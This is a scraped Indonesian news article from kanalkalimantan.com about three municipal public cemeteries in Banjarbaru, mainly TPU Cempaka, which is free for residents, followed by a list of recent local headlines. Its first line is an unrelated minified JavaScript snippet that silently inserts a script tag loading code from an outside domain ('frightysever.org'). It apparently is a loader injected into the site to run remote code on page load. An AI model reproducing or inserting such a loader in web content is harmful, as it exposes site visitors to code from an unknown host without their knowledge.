(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tiga Permakaman Umum di Banjarbaru, TPU Cempaka Bisa Bertahan 10-20 Tahun


KANALKALIMANTAN.COM, BANJARBARU – Areal Tempat Permakaman Umum (TPU) milik Pemerintah Kota (Pemko) Banjarbaru bisa dipergunakan untuk umum. Tiga lahan TPU baru sudah disediakan Pemko Banjarbaru bagi warga, salah satunya TPU Cempaka.

Awal penggunaannya, TPU Cempaka dibuka untuk permakaman pasien Covid-19. Banyak yang mengira bahwa TPU itu hanya digunakan untuk permakaman pasien Covid-19, tidak untuk umum.

Kepala Bidang Pertamanan, PJU dan Permakaman Dinas Perumahan dan Pemukiman (Disperkim) Kota Banjarbaru, Sartono menegaskan, kalau TPU Cempaka diperuntukan untuk umum, tidak hanya untuk pasien Covid-19 saja.

“TPU-nya untuk umum, tidak hanya untuk pasien Covid-19,” tegasnya, Kamis (4/11/2021).

 

Baca juga : Tiga Tahap Migrasi TV Analog ke Digital, KPID Kalsel Sosialisasi di HSU

Diperkirakan TPU Cempaka dengan luas 3,5 hektare bisa menampung 8000 liang lahat dan bisa bertahan 15-20 tahun, mengacu dari angka kematian dari Disdukcapil Kota Banjarbaru. Sementara TPU Sungai Ulin dengan luas 1 hektare diperkirakan bisa menampung 2.500 liang lahat.

“Sebenarnya masih ada lagi 3 TPU, yang sudah beroperasi baru di Cempaka. Dua lainnya TPU Guntung Manggis seluas 4 hektare dan TPU Sungai Ulin seluas 1 hektare yang sudah dioperasikan. Akan tetapi TPU itu belum siap operasionalnya,” ungkapnya.

Karena ada 3 TPU yang dikelola pemerintah kota, di setiap TPU yang berstatus milik daerah tidak dikenakan biaya alias gratis.
Sehingga bagi warga Kota Banjarbaru yang memerlukan tempat permakaman bisa memanfaatkan lahan TPU tersebut.

Bagi warga yang kurang mampu seperti keluarga penerima keluarga harapan (PKH) gratis, cukup minta surat keterangan dari ketua RT atau kelurahan, semua difasilitasi dari penyedian liang lahat dan membuat lubangnya semua ditanggung pemerintah.

 

Baca juga : Wali Kota Banjarmasin Ibnu Sina di-PTUN-kan, Satpol PP Target Bongkar 10 Baliho Bando

“Untuk warga Kota Banjarbaru tak dikenakan biaya untuk liang lahatnya. Memang bagi keluarga yang ekonominya mampu ada rencana dikenakan retribusi, cuman itu hanya sebatas beli batu nisan dan rumputnya saja, selebihnya tak ada biaya lainnya,” jelasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

9 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

10 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

11 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

12 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

12 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

12 jam ago

This website uses cookies.